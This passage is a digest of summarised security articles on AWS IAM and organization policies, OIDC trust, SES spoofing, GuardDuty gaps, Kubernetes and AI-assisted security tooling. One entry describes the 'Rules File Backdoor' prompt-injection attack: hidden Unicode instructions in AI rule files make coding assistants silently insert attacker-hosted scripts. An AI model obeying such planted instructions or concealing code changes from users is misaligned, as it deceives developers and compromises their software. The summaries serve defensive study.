    • Environment: Add pkgs.go and the golang.go extension to dev.nix, then rebuild the environment.
    • Module: Run Go: Initialize go.mod from the Command Palette or go mod init github.com/myorg/helloWorld.
    • Sample app: main.go serves “Hello, World!” on the PORT env var, defaulting to 3000.
    • Preview: A previews.web block runs go run main.go with PORT = "$PORT" to show a live web preview.
    • Templates: Go backend server templates and a Go plus Gemini template with a “Baking with Gemini” recipe example.
    • Caveats: You must supply your own Gemini API key; no model, pricing, quotas or key-handling guidance is given; config changes require rebuilds.

    Takeaway: Useful only for quick Go prototyping in a browser IDE; pin tools in dev.nix and keep the Gemini API key out of committed config.

  • one: Awesome List of Cybersecurity and AI
    summary

    TL;DR: A CC0 “awesome list” of reading on AI in offensive and defensive cyber, compiled as background for a talk at the 2024 One Conference in The Hague.

    • What it is: A curated link list, not a tool; no code, setup or commands.
    • Hype cycle: Core section with a security-AI hype cycle chart and readings on vector DB security, model stealing, sleeper agents and GCG jailbreaks.
    • Topics: Covers AI Bills of Materials (AIBOMs) and “LLMjacking” abuse of stolen cloud credentials.
    • Policies: EU AI Act, UK NCSC guidelines, an NSA deployment guide and Singapore MAS circular on generative AI risk.
    • Frameworks: MITRE ATLAS, CyberSecEval 2, AVID and the MIT AI Risk Repository.
    • Blue team: AI for incident response, threat intel, malware analysis and threat modelling such as STRIDE GPT.
    • Red team: Supply-chain and Keras model backdoors, AI-assisted bug hunting and automatic tool invocation risks.
    • Caveats: A 2024 snapshot mixing papers, vendor blogs and opinion without marking which is which; links may have rotted.

    Takeaway: Use it as a starting index for AI security threat modelling, especially MITRE ATLAS and LLMjacking, but check each source’s date and credibility.

  • Things We Learned About LLMs in 2024
    summary

    TL;DR: Simon Willison’s year-in-review of LLMs in 2024: GPT-4 was surpassed widely, prices crashed, reasoning models arrived, and agents and prompt injection remained unsolved.

    • GPT-4 beaten: 18 organizations had 70 models ranking above original GPT-4 on Chatbot Arena, starting with Gemini 1.5 Pro.
    • Local models: GPT-4-class Qwen2.5-Coder-32B and Llama 3.3 70B run on a 64GB M2 MacBook Pro.
    • Prices: GPT-4 was $30 per million input tokens in December 2023; GPT-4o mini is $0.15 and Gemini 1.5 Flash 8B $0.0375.
    • Numbers: Describing 68,000 photos with Flash 8B costs about $1.68 total.
    • Reasoning: o1 launched in September; o3 posted strong ARC-AGI results, likely costing over $1,000,000 in compute.
    • DeepSeek v3: 685B parameters trained on 2,788,000 H800 GPU hours (about $5,576,000) versus 30,840,000 hours for Llama 3.1 405B.
    • Agents: Still not real; LLM gullibility and prompt injection, discussed since September 2022, block them.
    • Other: Evals matter, synthetic training data works, Apple Intelligence is weak while MLX excels, and “slop” names unrequested, unreviewed AI content.
    • Caveats: Arena is a vibes-based evaluation; datacenter buildout is worsening environmental impact even as per-prompt cost falls.

    Takeaway: Assume cheap, capable models are everywhere, build evals before shipping LLM features, and treat any agent that reads untrusted input as prompt-injectable.

  • Implementing Security Invariants in an AWS Management Account
    summary

    TL;DR: Chris Farris proposes enforcing security invariants in the AWS Organization management (payer) account, where SCPs and RCPs do not apply, using one universal IAM permission boundary.

    • Problem: SCPs and RCPs skip the management account, yet workloads often live there and can endanger the whole Organization.
    • Approach: Attach one shared permission boundary to every user and role; it grants nothing and only caps maximum permissions.
    • Invariants: Nine rules, covering CloudTrail, member account closure, Organization services, SCP/RCP changes, sts:AssumeRoot, billing, Identity Center, StackSets and Control Tower.
    • Control Tower: Nobody may enable or use it; tagline “Control Tower: Not even Once!”
    • Policy design: A broad Allow with NotAction excludes restricted actions, then conditional allows on aws:PrincipalArn restore them for Cloud Admin, Finance, Identity Center and Terraform roles.
    • Self-protection: Statements deny sts:AssumeRole on OrganizationAccountAccessRole and block edits to the boundary policy itself except by admin and enforcer roles.
    • Enforcement: A Lambda fired by EventBridge on iam:CreateRole, iam:CreateUser and boundary delete/put events reattaches the boundary nearly instantly; a Steampipe query audits coverage.
    • Caveats: A race window exists between principal creation and attachment; AWS-managed Identity Center roles cannot get boundaries; existing boundaries are not handled.
    • Scope: A design pattern with placeholder role names, not a fully tested implementation.

    Takeaway: If workloads run in your payer account, deploy an auto-enforced permission boundary protecting CloudTrail, Organizations, root and billing actions, and move workloads out where possible.

  • Confidential computing at 1Password
    summary

    TL;DR: 1Password explains how it uses AWS Nitro Enclaves to process some decrypted secrets server-side while aiming to keep end-to-end encryption guarantees.

    • Problem: E2EE limits features; enterprise vault-usage reports are too large to decrypt and aggregate on-device.
    • Approach: Confidential computing runs plaintext processing in hardware-isolated enclaves shielded from the OS, cloud provider and 1Password operators.
    • Current use: Powers detailed reporting in 1Password Extended Access Management; other features are under development without a timeline.
    • Attestation: Each Nitro Enclave produces a signed attestation document proving what code it runs.
    • Transparency: Every enclave release is published to Sigstore’s Rekor log so auditors can verify every version that ran.
    • Channel: Clients connect via the Noise Protocol, using a public key trusted through attestation.
    • Client enforcement: Apps refuse enclaves whose code is not signed by 1Password and logged in Rekor.
    • Implementation: Written in Rust, reusing client crypto and safe-logging libraries; an external audit reported zero major vulnerabilities.
    • Caveats: Applies only to certain secrets; trust rests on AWS Nitro and Rekor; auditor unnamed and deeper technical docs promised later.

    Takeaway: When evaluating vendors that process secrets server-side, ask for enclave attestation, a public transparency log and client-side verification rather than trusting policy claims.

  • Avoiding Mistakes with AWS OIDC Integration Conditions
    summary

    TL;DR: Wiz reviews 24 SaaS vendors’ AWS OIDC integration docs and shows that missing aud or sub trust-policy conditions can let any vendor customer assume your role.

    • Root cause: IAM role trust policies for OIDC providers often lack conditions, so anyone authenticating to the same vendor can assume the role.
    • History: In 2023 researchers found GitHub Actions roles without sub; AWS now blocks creating such GitHub policies, but old ones may remain.
    • Spread: The same flaw appeared in Terraform Cloud, Microsoft Defender and GitLab integrations.
    • Shared values: GitHub Actions, Gitpod, Harness, Shisho and Upbound use sts.amazonaws.com as aud, which restricts nothing by itself.
    • Odd vendors: Microsoft Defender relies on sts:RoleSessionName; DoIT uses aws:RequestTag/DoitEnvironment; Env0 adds aws:RequestTag custom claims.
    • Partial guidance: GitLab, Bitbucket, DVC and OpenShift recommend only sub; Teleport, DoIT and sandboxes.cloud recommend only aud.
    • EKS: OIDC providers should also check aud (sts.amazonaws.com) and sub, though aud is often omitted.
    • Tools: IAM Access Analyzer warns about missing condition keys; broad StringLike on sub can still admit every repo and branch.
    • Caveats: Based on public docs only; some vendors publish none, and customer-specific provider URLs reduce risk.

    Takeaway: Audit every OIDC-trusting IAM role for both aud and a tight sub condition, verify which values are truly unique to you, and run Access Analyzer.

  • Securing Grafana on Kubernetes with GCP IAP, Gateway API, and Terraform
    summary

    TL;DR: A Terraform-driven guide to putting Grafana on Kubernetes behind GCP Identity-Aware Proxy with Gateway API, using IAP’s signed JWT as Grafana’s only login path.

    • Why: IAP reduces exposure to Grafana CVEs and adds context-aware access, DDoS protection and audit logging.
    • Architecture: User to IAP to a GCP load balancer from the Gateway to the Grafana service on port 80 in monitoring; PostgreSQL backs Grafana.
    • IAP wiring: A GCPBackendPolicy enables IAP with OAuth secret grafana-oauth-secret; a separate grafana-gateway chart covers limited Helm route support.
    • JWT auth: auth.jwt reads X-Goog-Iap-Jwt-Assertion, verifies against Google JWKs, requires iss of https://cloud.google.com/iap, and maps the email claim.
    • Lockdown: disable_login_form: true, auth.google disabled, sign-up off, new users get Viewer, skip_org_role_sync: true.
    • Terraform: helm_release for chart 8.8.1 (Grafana 11.4.0), google_iap_client, and google_iap_web_backend_service_iam_member granting roles/iap.httpsResourceAccessor to a group.
    • Workaround: The backend service name is GCP-generated, so it is parsed from the networking.gke.io/backend-services annotation matching monitoring-grafana-80.
    • Manual steps: OAuth consent screen (Internal) once per project; re-apply if the annotation is not yet present.
    • Caveats: API and Grafana Terraform provider access must bypass IAP via internal network or port-forward; admin recovery is manual; propagation takes minutes.

    Takeaway: Front internal dashboards with IAP and trust only its verified JWT header, but plan a break-glass admin path and expect the brittle backend-service lookup.

  • Passkeys: They’re Not Perfect but They’re Getting Better
    summary

    TL;DR: The UK NCSC says passkeys are the future of authentication and worth using now, but unresolved usability, recovery and standards gaps block recommending them for mass adoption.

    • Problem: Most cyber harm to citizens involves abuse of legitimate credentials via phishing or weak and reused passwords.
    • Benefits: Passkeys cannot be guessed or phished and are unique per site.
    • Numbers: Microsoft data shows about 8 seconds per passkey sign-in versus 69 seconds for password plus second factor.
    • User issues: Device-bound versus synced passkeys confuse users; device loss, vendor migration and inconsistent terminology remain hard.
    • Recovery risk: Attackers may shift to weak account recovery and reset flows, including phishing recovery keys.
    • Access gaps: Shared devices, people without personal devices and those for whom biometrics fail lack private credential manager access.
    • Relying parties: Multi-domain services may need several passkeys; no consensus on assurance level or whether passkeys count as MFA.
    • NCSC plans: Work with FIDO and vendors, explore passkeys for GOV.UK One Login, review GPG 44, and later push passkeys as default.
    • Caveats: NCSC guidance still defaults to password plus factor; the timing figure is Microsoft’s, not independently tested.

    Takeaway: Offer passkeys as an option now, but harden account recovery first, since it becomes the weakest link once phishing of passwords stops working.

  • mise: Dev Tools, Env Vars and Task Runner
    summary

    TL;DR: mise is a single CLI that installs per-project dev tools, sets environment variables and runs tasks from one committed mise.toml, across shell, editor and CI.

    • Tools: Installs Node.js, Python, Terraform and more from a registry of 1,000+ tools, with different versions per project.
    • Environment: Sets per-project env vars and loads .env files.
    • Tasks: Runs build or test tasks defined in [tasks.*] with the project’s tools and env applied.
    • Bootstrap: mise bootstrap can declare and apply system packages, dotfiles, repositories and services for a whole machine.
    • Install: curl https://mise.run | sh puts the binary in ~/.local/bin; Windows uses winget install jdx.mise.
    • Usage: mise exec node@24 -- node --version runs once without config; mise use node@24 writes mise.toml; mise run hello runs a task.
    • Activation: Optional mise activate hook for bash, zsh or fish updates PATH and env on directory change; mise doctor diagnoses setup.
    • Config: Project mise.toml, global ~/.config/mise/config.toml, and mise.lock for exact versions.
    • Caveats: node = "24" is a series, not an exact pin, so use the lockfile; MIT licensed.

    Takeaway: Commit a mise.toml plus mise.lock so local shells and CI share identical tool versions, and prefer that over the curl | sh install on managed hosts.

  • How AI Enhances Static Application Security Testing (SAST)
    summary

    TL;DR: GitHub explains how it pairs CodeQL with Copilot to model library sources and sinks and auto-generate fixes for SAST alerts directly in pull requests.

    • Problem: Shift-left moved security work onto developers without better tools; roughly one security expert per 100 developers.
    • Survey: In a 2023 GitHub survey, developers ranked fixing vulnerabilities (31%) second only to writing code (32%).
    • Source/sink modeling: GitHub experiments with AI to model open source frameworks for CodeQL, since manual modeling is laborious; no accuracy figures given.
    • Autofix: Code scanning autofix shows an AI fix, codebase-specific explanation and diff in the PR to accept, edit or dismiss.
    • Pipeline: CodeQL taint analysis feeds the alert, query help and data-flow snippets into a constrained prompt producing before/after Markdown.
    • Guardrails: Filters output matching about 150 characters of public code; checks syntax, name resolution and types, and validates dependencies against registries and malware data.
    • Numbers: Fixes for more than 90% of vulnerability types; over two-thirds mergeable with little or no edits.
    • Languages: JavaScript, TypeScript, Python, Java, C# and Go first, with C++ and Ruby planned.
    • Caveats: Vendor-written with no independent evaluation or false-positive data; about a third of fixes still need real edits.

    Takeaway: Enable CodeQL autofix to cut alert-to-fix time, but keep human review on every suggested patch and dependency change.

  • How We Built an AppSec AI That Security Researchers Agree with 96% of the Time
    summary

    TL;DR: Semgrep explains how it benchmarked and tuned its LLM-based Assistant Autotriage until it matched its security researchers on 96% of true-positive SAST findings.

    • Problem: SAST backlogs are huge; 100,000 findings at 15 minutes each would keep 3 people busy around the clock for about a year.
    • How it works: Each finding gets a binary verdict, likely true or false positive, using rule metadata, prior triage, rule examples, Assistant Memories and RAG-supplied dataflow context.
    • Outputs: True positives get a fix and remediation steps as a PR comment or Jira ticket; false positives are auto-tagged and the developer is notified.
    • Benchmark: Over 2,000 researcher-triaged findings, evaluated with promptfoo across gpt-4o, gpt-4o-mini and claude-3-5-sonnet; gpt-4o gave the best balance.
    • Numbers: Initial agreement was about 55% overall (91% true positive, 25% false positive); final was 96% true positive and 41% false positive.
    • Techniques: Prompt refinement and feeding the rule confidence value made Assistant disagree more with low-confidence rules.
    • Design choice: Tuned deliberately to minimize false negatives; improving false-positive detection tended to cost true-positive accuracy.
    • Caveats: Agreement is measured against Semgrep’s own researchers and dataset; Assistant sees only the dataflow trace, not the whole project, and never closes findings.

    Takeaway: When adopting AI triage, benchmark it against your own labelled findings and keep suppressed findings in a backlog that AppSec still reviews.

  • A Commencement Into Real Kubernetes Security
    summary

    (Could not fetch full text.)

    TL;DR: Slide deck for the ShmooCon 2025 talk by Mark Manning and Jay Beale, “A Commencement into Real Kubernetes Security”; slide contents could not be read.

    • Source: The Canva page exposes only the title “SHMOOCON 2025 Presentation - Manning and Beale”; slides render client-side.
    • Talk: The ShmooCon schedule lists “A Commencement into Real Kubernetes Security” by Jay Beale and Mark Manning, Saturday 11 January 2025.
    • Thesis (abstract): Practical demos challenge common assumptions about how Kubernetes security works.
    • Content (abstract): Real-world exploits against a hardened, compliant cluster and new bypasses of runtime security tools.
    • Scale question (abstract): Asks whether Kubernetes security controls can scale.
    • Tools: Covers new features in the open-source KubeHound and Peirates tools; Beale is the architect of Peirates and the Bustakube CTF cluster.
    • Deliverable (abstract): A roadmap for assessing Kubernetes security in an organization and advice on where to prioritize effort.

    Takeaway: Do not treat a compliant cluster as secure; test runtime detections against bypasses and try KubeHound and Peirates in your own assessments.

  • AWS EKS Access Management & Permissions
    summary

    TL;DR: A comparison of the four overlapping EKS auth mechanisms that recommends EKS Pod Identities plus RoleBindings for a platform cluster that manages pods in a separate workload cluster.

    • Problem: AWS permissions (pods changing AWS resources) and Kubernetes permissions (managing K8s objects, even cross-cluster) are separate needs that are often confused.
    • aws-auth (2018): A ConfigMap in kube-system maps IAM principals to RBAC in one cluster only; it is deprecated and gives pods no AWS access.
    • IRSA (2019): OIDC provider plus service account annotations; flexible and cross-cluster, but heavy to configure, with a 100 OIDC providers per account limit and trust policy size limits.
    • Pod Identities (2023): Generic trust on pods.eks.amazonaws.com allowing sts:AssumeRole and sts:TagSession, so one role can be reused across clusters unchanged.
    • Setup: Create role and least-privilege policy, install the pod-identity add-on, then add aws_eks_pod_identity_association with cluster, namespace, service account and role ARN.
    • Gotcha: Pod Identities does not create the service account; you create it and bind its Kubernetes permissions yourself.
    • Cluster Access Management (2023): Access entries and access policies map AWS principals to K8s rights and let you revoke the cluster creator’s cluster-admin.
    • Limits: The 15 AWS-managed access policies such as AmazonEKSClusterAdminPolicy cannot be customized; granular access needs groups on the access entry plus your own RoleBindings.

    Takeaway: For new EKS workloads, use Pod Identities for AWS permissions and explicit RoleBindings for Kubernetes permissions, and plan to retire aws-auth.

  • well-architected-iac-analyzer: Evaluate IaC and Architecture Diagrams Against AWS Well-Architected Best Practices
    summary

    TL;DR: An AWS sample app that uses Amazon Bedrock to review IaC templates and architecture diagrams against Well-Architected best practices and produce prioritized recommendations.

    • Inputs: CloudFormation YAML/JSON, Terraform .tf, CDK in any language, ZIP projects, PNG/JPEG diagrams, and up to 5 PDFs of 4.5MB each.
    • How it works: Best practices from Well-Architected whitepapers sync to a Bedrock Knowledge Base; the default model is global.anthropic.claude-sonnet-5-5.
    • Features: Eisenhower-matrix prioritization of “Not Applied” practices, CSV export, a chatbot, WA Tool integration and IaC generation from diagrams.
    • Lenses: Core framework plus industry and technology lenses such as Serverless, Generative AI and Container Build; custom lenses can be built from PDFs.
    • Architecture: React frontend and backend on ECS Fargate behind an ALB, Cognito or OIDC auth, S3 Vectors (default) or OpenSearch Serverless, DynamoDB and S3.
    • Setup: Deploy iac-analyzer-deployment-stack.yaml via CloudFormation (about 15-20 minutes), or run ./deploy-wa-analyzer.sh -r <region> -c docker.
    • Numbers: Parallel BatchSize 1-30 (default 5); claims up to 80% faster reviews and up to 80% lower vector cost versus OpenSearch Serverless.
    • Limits: Non-production sample, now maintained mainly for security patches; batch sizes above 12 usually need higher Bedrock quotas.
    • Caveats: The ALB is public by default; disabling auth exposes the app, and the global inference profile routes data worldwide.

    Takeaway: Useful for a quick Well-Architected pass over IaC in a sandbox account; keep auth enabled and use a regional inference profile if data residency matters.

  • THE RISK YOU CAN’T AFFORD TO IGNORE: AWS SES AND EMAIL SPOOFING
    summary

    TL;DR: Verifying a whole domain in AWS SES lets anyone with SES send rights spoof any address in that domain, and SES does not log sent mail by default.

    • Root cause: A verified domain identity allows sending from any address on that domain, unlike email identities that allow only confirmed addresses.
    • Who can abuse it: Holders of SES SMTP credentials, or IAM principals with ses:SendEmail or ses:SendRawEmail on the domain identity.
    • Deliverability: Because AWS acts as the domain’s mail server, the author estimates “99.9+%” inbox delivery; the figure is unsourced.
    • Logging gap: SES sends are not logged by default; auditing needs SNS notifications routed to S3, for example via Kinesis Data Firehose, at extra cost.
    • Classification: Sits between CSPM (missing logging) and CIEM (identities can impersonate users); SES is outside benchmarks such as CIS.
    • Mitigation 1: Prefer individually verified email identities; a Custom MAIL FROM domain resolves the DMARC concern that pushed teams to domain verification.
    • Mitigation 2: Attach a Sending Authorization policy that denies ses:SendEmail and ses:SendRawEmail unless ses:FromAddress matches an allowlist.
    • Caveats: No test data is provided, and SPF and DKIM are not discussed.

    Takeaway: Audit SES for verified domain identities, restrict ses:FromAddress with a sending authorization policy, and turn on SES event logging.

  • Advanced Nginx Hardening
    summary

    (Could not fetch full text.)

    TL;DR: A short Medium post by Jens@Fivesec sharing nginx hardening notes; the article body was blocked, so its specific techniques could not be verified.

    • Source: Medium returned HTTP 403 to every fetch, and the post was not in the author’s RSS feed.
    • Author: Published under the Medium handle @js_9757, which the feed names Jens@Fivesec.
    • Context: The author shared it in an r/cybersecurity thread in February 2025 as a few nginx hardening notes.
    • Reader feedback: One commenter suggested adding brotli to the gzip section.
    • Reader feedback: Another point raised was the security trade-offs of TCP Fast Open, implying the post covers it.
    • Unverified: No directives, configs or tools from the post could be confirmed.

    Takeaway: Read the original before reusing any of its config; check compression and TCP Fast Open settings against your own threat model.

  • Connect Your On-Premises Kubernetes Cluster to AWS APIs Using IAM Roles Anywhere
    summary

    TL;DR: AWS walkthrough for giving on-premises Kubernetes pods short-lived AWS credentials via IAM Roles Anywhere, cert-manager and AWS Private CA, with no long-term access keys.

    • Problem: Long-term IAM keys need rotation and tracking, and service account issuer discovery requires a publicly reachable API server.
    • How it works: Pods exchange X.509 certificates for temporary credentials through the IAM Roles Anywhere CreateSession API, signed with SigV4a.
    • CA: AWS Private CA in SHORT_LIVED_CERTIFICATE mode issues certificates valid for 7 days or fewer and backs the trust anchor onprem-k8s-issuer.
    • cert-manager: v1.16.2 with cert-manager-approver-policy, cert-manager-csi-driver for per-pod ephemeral certs, and aws-privateca-issuer providing AWSPCAIssuer.
    • Sidecar: aws_signing_helper serve exposes an IMDSv2-compatible endpoint on port 9911, so application images stay unchanged.
    • Least privilege: Trust policies on rolesanywhere.amazonaws.com are scoped by aws:PrincipalTag/x509Subject/CN and trust anchor ARN; use one role and profile per workload.
    • Bootstrap: The issuer’s first certificate is made manually with openssl, then replaced by a 168h cert renewed 24h before expiry.
    • Caveats: The aws-privateca-issuer Helm chart must be rendered and edited by hand to add the sidecar; not meant for EKS, which should use IRSA or Pod Identity.
    • Hardening: Revocation works through CRL checks, and the post advises a hardened base image instead of plain Alpine.

    Takeaway: For hybrid clusters, replace static AWS keys with short-lived certificate-based credentials, scoped per workload through CN conditions.

  • Four Ways to Grant Cross-Account Access in AWS
    summary

    TL;DR: AWS explains four ways to write resource-based policies for cross-account access and the trade-off each makes between granularity and availability.

    • Baseline: Cross-account access needs both an identity-based policy in the caller’s account and a resource-based policy on the target resource.
    • Method 1, role ARN in Principal: Most granular, but IAM stores the role’s unique ID, so a deleted and recreated role silently loses access.
    • Method 2, account in Principal: Account ID or :root ARN (which does not mean the root user); survives role recreation but delegates decisions to the other account’s admins.
    • Method 3, account plus aws:PrincipalArn: An ArnEquals condition pins one role yet survives recreation, because conditions are not converted to unique IDs.
    • Method 3 caveat: Any future role with the same name in that account will also match.
    • Method 4, organization: Principal "*" plus aws:PrincipalOrgId, since an organization cannot be named as a principal.
    • Owner exclusion: Adding StringNotEquals on aws:PrincipalAccount against ${aws:ResourceAccount} forces same-account principals to also need an identity-based allow.
    • Choosing: Use Method 1 when you own both accounts’ role lifecycles, Method 3 when you do not, and Method 4 for organization-wide sharing.

    Takeaway: Prefer aws:PrincipalArn conditions over role ARNs in Principal when IaC may recreate roles, and audit resource policies regularly.

  • I Want You to Hack AWS: Cloud Penetration Testing for Traditional Hackers | Nick Frichette
    summary

    (Could not fetch full text.)

    TL;DR: Nick Frichette’s roughly 35-minute Black Hills Infosec talk introducing AWS penetration testing to traditional hackers; summary is based on the video description only, no transcript.

    • Talk: “I Want You to Hack AWS: Cloud Penetration Testing for Traditional Hackers”, published 5 March 2025 on the Black Hills Infosec channel.
    • Problem: AWS adds many new attack surfaces, but exploiting them often needs niche knowledge of arcane configurations.
    • Framing: Covers the AWS shared responsibility model and where the pentester fits in it.
    • Fundamentals: Walks through the basics of AWS Identity and Access Management (IAM).
    • Attack surface: Examines important classes of AWS misconfigurations.
    • Tradecraft: Discusses techniques for avoiding detection during engagements.
    • Audience: Aimed at pentesters new to AWS and experienced cloud hackers wanting practical, engagement-ready skills.

    Takeaway: Watch it as an IAM-first primer before an AWS engagement, and use its detection-evasion topics to check what your own monitoring would miss.

  • Ephemeral values in Terraform
    summary

    TL;DR: HashiCorp explains Terraform 1.11 ephemeral values, which let secrets flow through a run without being written to the plan or state file.

    • Problem: Before ephemerality, sensitive values were always persisted to plan and state, so state had to be treated as secret.
    • Ephemeral resources: Temporary resources that read a secret or open a connection; their attributes can be referenced but are never persisted.
    • Lifecycle: Ephemeral resources are opened when needed, renewed if they outlive remote expiry, and closed after dependent work; not every resource implements renew or close.
    • Write-only arguments: Provider-implemented arguments such as password_wo or data_json_wo that are never stored in plan or state.
    • Change detection: Each write-only argument pairs with a stored version argument, such as password_wo_version, which you bump to push a new value.
    • Example: ephemeral "random_password" writes to Vault via data_json_wo, is read back ephemerally, and is fed to aws_db_instance password_wo.
    • Ordering: Ephemeral resources with unknown inputs are deferred to apply; ones that managed resources depend on are opened first.
    • Caveats: They run on every plan and apply; a newly generated ephemeral secret is lost unless written to a secrets manager.

    Takeaway: On Terraform 1.11+, move database passwords and tokens to ephemeral resources and write-only arguments, and manage version arguments to trigger rotations.

  • IssueOps: Automate CI/CD (and more!) with GitHub Issues and Actions
    summary

    TL;DR: GitHub’s guide to IssueOps: driving automation such as approvals and team changes from issue forms, comments and labels, modelled as a state machine in GitHub Actions.

    • Concept: Issues, comments, labels and PRs act as triggers and audit trail for Actions workflows; anything with an API can be automated this way.
    • State machine: Requests move through opened, submitted, approved, denied and closed, with events, guards and actions on each transition.
    • Guards: Comment commands such as .submit, .approve and .deny; approve and deny check that the commenter is in the admins team.
    • Example: A team-membership issue form is parsed to JSON by issue-ops/parser, validated with Octokit teams.getByName, then the user is added on approval.
    • Tools: issue-ops/validator, issue-ops/labeler, actions/github-script, actions/create-github-app-token and peter-evans/create-or-update-comment.
    • Auth: A GitHub App via ISSUEOPS_APP_ID and ISSUEOPS_APP_PRIVATE_KEY reaches resources outside the repo.
    • Safety: Workflows declare minimal permissions, re-validate the body on submit, and reset labels when an issue is reopened.
    • Caveat: One trigger type such as issue_comment serves many events, so every workflow must check comment content.

    Takeaway: IssueOps gives self-service with an audit trail; enforce admin checks in guards, re-validate input at each step, and start with a small workflow.

  • Understanding RCPs and SCPs in AWS: Choosing the Right Policy for your Security Needs
    summary

    TL;DR: Fog Security compares AWS Resource Control Policies and Service Control Policies and explains when to use each, or both layered, across an organization.

    • Core idea: SCPs limit what your principals can do; RCPs limit what can be done to your resources, including by outside principals.
    • History: SCPs date from early 2017; RCPs were released in late 2024.
    • RCP coverage: Only S3, STS, KMS, SQS and Secrets Manager, extending to IAM role trust via sts:AssumeRole and DynamoDB via KMS.
    • Numbers: Both cap documents at 5,120 characters and 5 attachments per entity; 2,000 SCPs and 1,000 RCPs per organization.
    • Use RCPs for: Standardizing resource policies, saving SCP space, and NotResource, which SCPs do not support.
    • Use SCPs for: Services outside the RCP list and NotAction, which RCPs do not support, such as locking admin accounts to iam:* and sts:*.
    • Migration example: Moving an S3 KMS-encryption deny from SCP to RCP needs "Principal": "*" and changes who is covered inside and outside the org.
    • Hardening: Add confused deputy protection with aws:SourceAccount or aws:SourceOrgID.
    • Caveats: NotResource and NotAction logic is easy to get wrong; test organization policies carefully.

    Takeaway: Add RCPs to block external access to S3, KMS, STS, SQS and Secrets Manager, and keep SCPs for principal-side guardrails.

  • A Hard Look at GuardDuty Shortcomings
    summary

    TL;DR: Tracebit tests Amazon GuardDuty and finds narrow service coverage, unpredictable cost, and zero alerts for common data-exfiltration techniques, arguing for canary resources alongside it.

    • Coverage: Covers about ten services such as EC2, EKS, Lambda, RDS and S3, out of nearly 250 AWS services, with 176 finding types.
    • Cost: Billed on CloudTrail, VPC Flow Logs, DNS, EKS audit and S3 data event volume; one S3 Protection bill rose from $2.5k to $6.5k per month.
    • Efficacy: Static severity ignores resource sensitivity, Low findings are noisy, and ML struggles with low-volume, high-impact theft.
    • Stratus Red Team test: Six exfiltration techniques, including Secrets Manager mass reads and shared EBS or RDS snapshots, produced zero alerts.
    • guardduty-tester: 11 of 12 runs worked; Recon:EC2/Portscan, Recon:IAMUser/TorIPCaller and PenTest:S3/KaliLinux never fired.
    • Latency: Median detection took 15 minutes; the best was 5:08 for UnauthorizedAccess:S3/MaliciousIPCaller.Custom.
    • Blast radius: With s5cmd at 316 MB/s and 1,781 deletes/s, an attacker could move about 1.3 TB before the fastest alert.
    • Caveats: Small informal tests by one author; the vendor sells canary infrastructure, so the conclusions favor its product.

    Takeaway: Keep GuardDuty on, but do not rely on it for data exfiltration; add canary credentials and resources and forecast add-on costs during the trial.

  • New Vulnerability in GitHub Copilot and Cursor: How Hackers Can Weaponize Code Agents
    summary

    TL;DR: Pillar Security’s “Rules File Backdoor” hides invisible-Unicode instructions in AI assistant rule files so Cursor and GitHub Copilot silently generate malicious code.

    • Vector: Rule files such as those in .cursor/rules steer code generation, are shared widely, trusted implicitly and rarely reviewed.
    • How it works: Payloads hide in zero-width joiners, bidirectional markers and Unicode tag characters that humans cannot see but models still read.
    • Manipulation: Jailbreak-style storytelling frames the payload as a security requirement and tells the AI not to mention the change.
    • Demo: In Cursor agent mode, “Create a simple HTML only page” produced a script tag loading from an attacker site, with no mention in the reply.
    • Persistence: A poisoned rule file affects every later session for the team, survives forks, and stays invisible in GitHub PR review.
    • Impact: Insecure crypto, auth bypasses, disabled validation, and exfiltration of env vars, credentials and API keys.
    • Vendor response: Cursor (Feb-Mar 2025) and GitHub (Mar 2025) called it user responsibility; GitHub added a hidden-Unicode warning on 1 May 2025.
    • Mitigations: Audit rule files for invisible characters, review AI config like code, and check generated code for unexpected external references.

    Takeaway: Add CI checks that reject hidden Unicode in rule files such as .cursor/rules, and review them as strictly as executable code.

  • MCP (Model Context Protocol): Simply Explained in 5 Minutes
    summary

    TL;DR: Jordan Cutler’s beginner explainer of the Model Context Protocol (MCP): a standard interface that lets LLM clients like Cursor call external tools through adapter servers.

    • Problem: Each third-party API has its own types and patterns, so wiring assistants to Sentry, Slack, JIRA or Gmail is tedious.
    • Core idea: MCP makes providers expose tools through one standard interface; the author frames servers as the adapter pattern.
    • Components: An MCP client (e.g. Cursor) speaks the protocol; MCP servers wrap third-party APIs and translate requests into real API calls.
    • How it works: The Slack server defines tools (name, description, inputSchema), creates the server, and handles CallToolRequestSchema with a switch on tool name.
    • Transport: Client and server talk over standard I/O via StdioServerTransport, not HTTP.
    • Examples: AgentDesk BrowserTools MCP let Cursor read console logs and fix a tooltip bug; Puppeteer MCP let Cursor drive a browser.
    • Setup: Create .cursor/mcp.json, add a command like npx -y @modelcontextprotocol/server-puppeteer, enable it in settings; Slack needs SLACK_BOT_TOKEN and SLACK_TEAM_ID.
    • Limits: Setup grows harder with extra API keys and permissions; the article does not cover security, credential protection or scoping tool access.

    Takeaway: Use this as a mental model of MCP, then separately assess the tokens and permissions each server holds, since the article skips that entirely.

  • Effectively Implementing Resource Control Policies in a Multi-Account Environment
    summary

    TL;DR: AWS Security Blog guide to rolling out Resource Control Policies (RCPs) across an AWS Organization in five phases, with an sts:AssumeRole org-perimeter example and exception patterns.

    • What RCPs are: Coarse-grained, always-on resource boundaries attached to the root, OUs or accounts; not for fine-grained least privilege.
    • Control objectives: Data perimeters, cross-service confused deputy mitigation, and identity-independent rules such as requiring TLS 1.2+ for S3.
    • Five phases: Examine objectives, design guardrails and exceptions, anticipate impact, implement via CI/CD, then monitor continuously.
    • Core policy: Deny sts:AssumeRole for Principal: "*" using StringNotEqualsIfExists on aws:PrincipalOrgID and BoolIfExists on aws:PrincipalIsAWSService false.
    • Exceptions: Exclude accounts with aws:ResourceAccount, tagged roles with aws:ResourceTag/partner-access-exception plus aws:PrincipalAccount, or ARNs via NotResource.
    • Tag governance: A companion SCP restricts who can change the exception tag (aws:TagKeys, aws:PrincipalArn) and blocks passing it as a session tag.
    • Impact analysis: Use IAM Access Analyzer for externally shared roles and query CloudTrail with Athena for STS calls from outside the org.
    • Deployment: CloudFormation AWS::Organizations::Policy in pipelines or Control Tower customizations (rcp deploy method); test in lower OUs, roll out in waves.
    • Caveats: Overly strict RCPs break partner integrations; tag exceptions are only as strong as tag governance; uncovered services need separate controls.

    Takeaway: Analyze external STS access with Access Analyzer and CloudTrail first, then ship an org-perimeter RCP through IaC in waves, locking down exception tags with an SCP.

  • Master Architecture Decision Records (ADRs): Best Practices for Effective Decision-Making
    summary

    TL;DR: AWS ProServe engineers share ten practices for running Architecture Decision Records (ADRs), drawn from 200+ ADRs over 3+ years on teams from under 10 to about 100 people.

